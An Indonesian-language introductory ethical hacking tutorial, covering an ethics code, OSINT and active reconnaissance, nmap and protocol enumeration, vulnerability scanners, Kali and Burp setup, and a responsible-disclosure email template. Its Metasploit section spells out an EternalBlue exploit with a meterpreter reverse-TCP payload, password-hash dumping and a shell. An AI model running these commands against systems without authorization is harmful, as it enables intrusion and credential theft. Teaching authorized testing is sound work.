Ethical Hacking Dasar: Pengenalan & Metodologi

1. SELALU dapatkan izin tertulis sebelum melakukan pengujian.
2. TIDAK PERNAH mengeksploitasi kerentanan di luar cakupan yang disepakati.
3. JANGAN menyimpan, mendistribusikan, atau menggunakan data sensitif yang ditemukan
   selama pengujian.
4. LAPORKAN SEMUA kerentanan yang ditemukan, termasuk yang tampaknya minor.
5. GUNAKAN temuan untuk memperbaiki keamanan, bukan untuk keuntungan pribadi.
6. HORMATI privasi dan kerahasiaan informasi klien.
7. JANGAN melakukan serangan yang dapat menyebabkan kerusakan layanan (DoS)
   kecuali secara eksplisit disetujui dalam RoE.
8. DOKUMENTASIKAN semua langkah pengujian untuk keperluan audit dan pelaporan.
9. TINGKATKAN kompetensi secara berkelanjutan mengikuti perkembangan ancaman terbaru.
10. JAGA integritas profesi dan tidak mencemarkan nama baik ethical hacker.
      

# ============================================
# Passive Reconnaissance — OSINT Gathering
# ============================================

# 1. WHOIS Lookup — informasi registrasi domain
whois example.com

# 2. DNS Record Enumeration
dig example.com ANY
dig example.com A
dig example.com MX
dig example.com NS
dig example.com TXT    # SPF, DKIM, DMARC records

# 3. Subdomain discovery menggunakan crt.sh (Certificate Transparency)
curl -s "https://crt.sh/?q=%25.example.com&output=json" | \
  jq -r '.[].name_value' | sort -u

# 4. Google Dorking — mencari informasi sensitif di Google
# site:example.com filetype:pdf
# site:example.com inurl:admin
# site:example.com intitle:"index of"
# site:example.com ext:sql | ext:bak | ext:log

# 5. Wayback Machine — melihat arsip website
# https://web.archive.org/web/*/example.com

# 6. Shodan — search engine untuk perangkat IoT
# https://www.shodan.io/search?query=org:"Example Corp"

# 7. theHarvester — mengumpulkan email dan subdomain
theHarvester -d example.com -b google,bing,linkedin -l 200

# 8. Recon-ng — framework OSINT modular
recon-ng
> workspaces create example_recon
> modules load recon/domains-hosts/hackertarget
> set SOURCE example.com
> run
      

# ============================================
# Active Reconnaissance — Direct Interaction
# ============================================

# 1. DNS Zone Transfer Attempt (jika dikonfigurasi salah)
dig axfr @ns1.example.com example.com

# 2. Subdomain Brute Force
dnsenum example.com --enum -f /usr/share/wordlists/subdomains.txt

# 3. WAF Detection menggunakan wafw00f
wafw00f https://example.com

# 4. Technology Stack Detection menggunakan WhatWeb
whatweb https://example.com -v

# 5. Directory Bruteforce menggunakan gobuster
gobuster dir -u https://example.com \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 50 -x php,html,txt,bak

# 6. Email Harvester dari berbagai sumber
amass enum -passive -d example.com -o amass_output.txt
      

# ============================================
# Nmap Scanning — Berbagai Teknik
# ============================================

# 1. Ping Scan — menemukan host aktif di jaringan
nmap -sn 192.168.1.0/24

# 2. TCP SYN Scan (stealth scan) — scan port tanpa menyelesaikan handshake
sudo nmap -sS -T4 -p- 192.168.1.100

# 3. Service Version Detection — mengidentifikasi versi layanan
nmap -sV -sC -p 22,80,443,3306,8080 192.168.1.100

# 4. OS Fingerprinting — mendeteksi sistem operasi target
sudo nmap -O --osscan-guess 192.168.1.100

# 5. Aggressive Scan — gabungan semua deteksi
sudo nmap -A -T4 192.168.1.100

# 6. UDP Scan — scan port UDP (sering terlewat)
sudo nmap -sU --top-ports 100 192.168.1.100

# 7. Script Scan — menggunakan NSE scripts untuk vuln detection
sudo nmap --script vuln 192.168.1.100

# 8. Output ke berbagai format
nmap -sV -oN scan_normal.txt 192.168.1.100   # Normal text
nmap -sV -oX scan_xml.xml 192.168.1.100      # XML format
nmap -sV -oG scan_grep.txt 192.168.1.100     # Grepable format
nmap -sV -oA scan_all 192.168.1.100          # Semua format
      

# ============================================
# Nmap NSE Scripts — Vulnerability Detection
# ============================================

# Scan kerentanan spesifik
sudo nmap --script http-enum 192.168.1.100         # Enumerasi direktori web
sudo nmap --script ssl-heartbleed -p 443 192.168.1.100  # Heartbleed CVE-2014-0160
sudo nmap --script smb-vuln* -p 445 192.168.1.100  # SMB vulnerabilities
sudo nmap --script ftp-anon -p 21 192.168.1.100    # Anonymous FTP

# Kategori NSE scripts
ls /usr/share/nmap/scripts/ | grep vuln     # Semua script vulnerability
ls /usr/share/nmap/scripts/ | grep exploit  # Semua script exploit
ls /usr/share/nmap/scripts/ | grep brute    # Semua script brute force
      

# ============================================
# Enumeration — Berbagai Protokol
# ============================================

# 1. SMB Enumeration (Windows File Sharing)
smbclient -L //192.168.1.100 -N                # List shares tanpa password
enum4linux -a 192.168.1.100                    # Full SMB enumeration
crackmapexec smb 192.168.1.100 --shares        # CME share enumeration

# 2. SNMP Enumeration
snmpwalk -v2c -c public 192.168.1.100          # Walk SNMP tree
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.4.1.77.1.2.25  # User accounts
onesixtyone -c community_strings.txt 192.168.1.100  # Community string brute

# 3. LDAP Enumeration
ldapsearch -h 192.168.1.100 -x -b "dc=example,dc=com"  # Anonymous LDAP

# 4. NFS Enumeration
showmount -e 192.168.1.100                     # List NFS exports

# 5. SMTP Enumeration (user enumeration via VRFY)
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t 192.168.1.100

# 6. Web Enumeration
nikto -h https://192.168.1.100                 # Web server vulnerability scanner
dirb https://192.168.1.100 /usr/share/wordlists/dirb/common.txt  # Directory brute
      

# ============================================
# Vulnerability Assessment — Tools Utama
# ============================================

# 1. OpenVAS / Greenbone Vulnerability Manager
# Full-featured vulnerability scanner
sudo gvm-start                            # Start OpenVAS
# Buka https://127.0.0.1:9392 di browser
# Buat target baru, jalankan Full and Fast scan

# 2. Nikto — Web Server Scanner
nikto -h https://target.example.com -o nikto_report.html -Format htm

# 3. SQLMap — Automated SQL Injection Detection
sqlmap -u "https://example.com/page?id=1" --batch --risk=3 --level=5
sqlmap -u "https://example.com/page?id=1" --dbs                # Enum databases
sqlmap -u "https://example.com/page?id=1" -D dbname --tables   # Enum tables

# 4. WPScan — WordPress Vulnerability Scanner
wpscan --url https://example.com --enumerate vp,vt,u

# 5. SearchSploit — Offline Exploit-DB Search
searchsploit apache 2.4.49                # Cari exploit untuk versi spesifik
searchsploit -m 50383                     # Copy exploit ke direktori kerja

# 6. Nuclei — Template-based Vulnerability Scanner
nuclei -u https://target.example.com -t cves/
nuclei -u https://target.example.com -t vulnerabilities/ -severity critical,high
      

# ============================================
# Kali Linux — Setup & Konfigurasi Dasar
# ============================================

# 1. Download Kali Linux dari https://www.kali.org/get-kali/
#    - Installer ISO (bare metal / dual boot)
#    - Virtual Machine (VMware / VirtualBox)
#    - WSL (Windows Subsystem for Linux)
#    - ARM images (Raspberry Pi)

# 2. Update & Upgrade setelah instalasi
sudo apt update && sudo apt upgrade -y

# 3. Install Kali Linux via WSL (Windows 10/11)
wsl --install -d kali-linux
# Atau dari Microsoft Store

# 4. Konfigurasi dasar
sudo apt install -y kali-linux-default   # Install semua tools default
sudo apt install -y kali-linux-large     # Install toolset lengkap

# 5. Mengelola layanan
sudo systemctl start postgresql          # Untuk Metasploit database
sudo msfdb init                          # Inisialisasi Metasploit database

# 6. Update tools yang tidak termanage apt
sudo apt install -y exploitdb            # Update Exploit-DB / searchsploit
sudo nmap --script-updatedb              # Update NSE scripts
sudo apt install -y wordlists            # Install wordlists (rockyou, dll)
      

# ============================================
# Burp Suite — Setup Proxy di Browser
# ============================================

# 1. Jalankan Burp Suite
burpsuite &

# 2. Di browser Firefox, atur proxy manual:
#    Preferences → Network Settings → Manual Proxy
#    HTTP Proxy: 127.0.0.1    Port: 8080
#    Centang "Also use this proxy for HTTPS"

# 3. Install Burp CA Certificate:
#    Buka http://burpsuite di browser → Download CA Certificate
#    Import ke Firefox: Preferences → Certificates → Import

# 4. Intercept request:
#    Buka tab Proxy → Intercept → Toggle "Intercept is on"
#    Browse ke target — request akan tertangkap di Burp
#    Modifikasi request → Forward atau Drop
      

# ============================================
# Metasploit Framework — Contoh Penggunaan
# ============================================

# 1. Mulai Metasploit
sudo msfconsole

# 2. Contoh: Scan dan eksploitasi SMB vulnerability (MS17-010 / EternalBlue)
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.1.100
msf6 > run

# Jika rentan, gunakan exploit:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > run

# 3. Perintah Meterpreter (setelah berhasil masuk)
meterpreter > sysinfo                  # Info sistem target
meterpreter > getuid                   # User saat ini
meterpreter > hashdump                 # Dump password hashes
meterpreter > shell                    # Drop ke system shell
meterpreter > screenshot               # Ambil screenshot

# 4. Cari exploit berdasarkan CVE
msf6 > search cve:CVE-2021-44228      # Log4Shell
      

Subject: Responsible Disclosure — Vulnerability Report for [Nama Perusahaan]

Kepada Tim Keamanan [Nama Perusahaan],

Saya menemukan kerentanan keamanan pada layanan [nama layanan/produk] yang
dapat berdampak pada keamanan data pengguna. Detail temuan:

1. JENIS KERENTANAN: [Contoh: SQL Injection / XSS / RCE]
2. LOKASI: [URL/endpoint yang terdampak]
3. DAMPAK: [Jelaskan potensi dampak — data leakage, RCE, dll]
4. LANGKAH REPRODUKSI:
   - Langkah 1: ...
   - Langkah 2: ...
   - Langkah 3: ...
5. BUKTI: [Screenshot / PoC — JANGAN eksploitasi secara berlebihan]
6. REKOMENDASI: [Saran perbaikan]

Temuan ini saya laporkan secara bertanggung jawab dan saya tidak akan
mengungkapkannya ke publik hingga perbaikan tersedia. Saya bersedia
berkolaborasi untuk validasi dan remediasi.

Atas perhatiannya, saya ucapkan terima kasih.

[Nama]
[Email]
[Kontak]